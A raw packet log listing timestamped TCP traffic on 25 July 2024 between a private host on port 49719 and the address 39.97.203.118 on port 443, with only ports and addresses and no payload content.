Jul 25, 2024 13:23:40.438324928 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.438354969 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.438355923 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.438643932 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.438695908 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.438779116 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.438832998 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.438844919 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.438883066 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.438884974 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.438893080 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.438919067 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.439382076 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.439440966 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440022945 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440053940 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440080881 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440092087 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440099955 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440100908 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440138102 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440195084 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440241098 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440428972 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440464973 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440491915 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440501928 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440510988 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440531969 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440573931 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440579891 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440592051 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440618038 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440623999 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440645933 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440716028 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440757990 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.440764904 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.440803051 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.441498041 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.441560030 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.441653967 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.441714048 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.441862106 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.441914082 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.441925049 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.441987038 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.441987038 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.441997051 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.442039013 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.442065001 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.442070961 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.442081928 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.442114115 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.442977905 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.443043947 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.443147898 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.443193913 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.443201065 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.443206072 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.443237066 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.443273067 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.443320036 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.521554947 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.521646023 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.521699905 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.521701097 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.521727085 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.521744967 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.521759033 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.521800995 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.521801949 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.521815062 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.521847963 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.521874905 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.521923065 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.521929979 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.521980047 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.522243977 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.522299051 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.522355080 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.522406101 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.522456884 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.522464991 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.522504091 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.522520065 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.523078918 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.523135900 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.523154974 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.523197889 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.523287058 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.523335934 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.523338079 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.523350954 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.523372889 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.523395061 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.523415089 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.523456097 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.523458958 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.523494959 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.523566008 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.523880005 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.523936987 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.523950100 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.523997068 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.524038076 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.524085999 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.524101973 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.524149895 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.524149895 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.524158001 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.524195910 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.524245024 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.524291992 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.524832964 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.524882078 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.524888039 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.524895906 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.524925947 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.524939060 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.524979115 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.525027037 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.525038004 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.525083065 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.525090933 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.525142908 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.525151968 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.525197029 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.526046038 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.526097059 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.526106119 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.526154041 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.808514118 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.808693886 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.808721066 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.808739901 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.808752060 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.808763981 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.808794975 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.808800936 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.808821917 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.808857918 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.808902979 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.808908939 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.808921099 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.808960915 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.808965921 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.808980942 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.808986902 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.809029102 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.809039116 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.809045076 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.809077978 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.809096098 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.809143066 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.809149027 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.809194088 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.811090946 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.811147928 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.811306953 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.811361074 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.811419964 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.811470985 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.811508894 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.811552048 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.811553955 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.811563015 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.811585903 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.811983109 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812041998 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.812048912 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812077999 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812098980 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.812104940 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812131882 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.812150002 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812199116 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812202930 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.812210083 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812244892 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.812624931 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812678099 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.812685013 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812706947 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812730074 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.812736034 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812753916 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.812777996 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812822104 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.812830925 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.812872887 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.813105106 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.813155890 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.813201904 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.813255072 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.813260078 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.813270092 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.813307047 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.813344955 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.813421011 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.813430071 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.813436031 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.813460112 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.813471079 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.813518047 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.813525915 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.813569069 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.814269066 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.814323902 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.814340115 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.814389944 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.814389944 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.814400911 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.814439058 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.814464092 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.814515114 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.814515114 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.814527988 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.814562082 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.814577103 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.814623117 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.894846916 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.894903898 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.894937992 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.894949913 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.894972086 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.894984007 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.894984007 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.894992113 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.895034075 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.895044088 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.895090103 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.895318031 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.895360947 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.895389080 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.895453930 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.895710945 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.895761013 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.895770073 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.895809889 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.895905018 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.895957947 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.895986080 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.896035910 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.896110058 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.896159887 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.896161079 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.896171093 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.896205902 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.899993896 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.900046110 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.900573015 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.900630951 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.900656939 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.900664091 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.900672913 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.900775909 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.900825977 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.900832891 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.900877953 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.900885105 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.900891066 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.900918961 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.900944948 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.900988102 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.900994062 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901032925 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901043892 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901089907 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901089907 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901101112 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901130915 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901154041 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901160002 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901170015 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901207924 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901221037 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901258945 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901266098 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901290894 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901303053 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901309013 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901339054 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901388884 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901431084 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901437044 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901463032 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901478052 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901483059 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901510000 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901526928 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901565075 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901571035 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901597977 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901619911 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901626110 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901634932 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901668072 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901705027 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901710987 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901750088 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901756048 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901803970 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901813030 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901859999 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901868105 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901906013 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901912928 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901957989 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.901958942 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901969910 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.901994944 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.902013063 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.902056932 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:40.902062893 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:40.902107000 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.313569069 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.313661098 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.313709021 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.313720942 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.313740015 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.313782930 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.313961029 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.314008951 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.314016104 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.314022064 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.314058065 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.314212084 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.314271927 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.314277887 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.314323902 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.314330101 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.314343929 CEST	443	49719	39.97.203.118	192.168.2.6
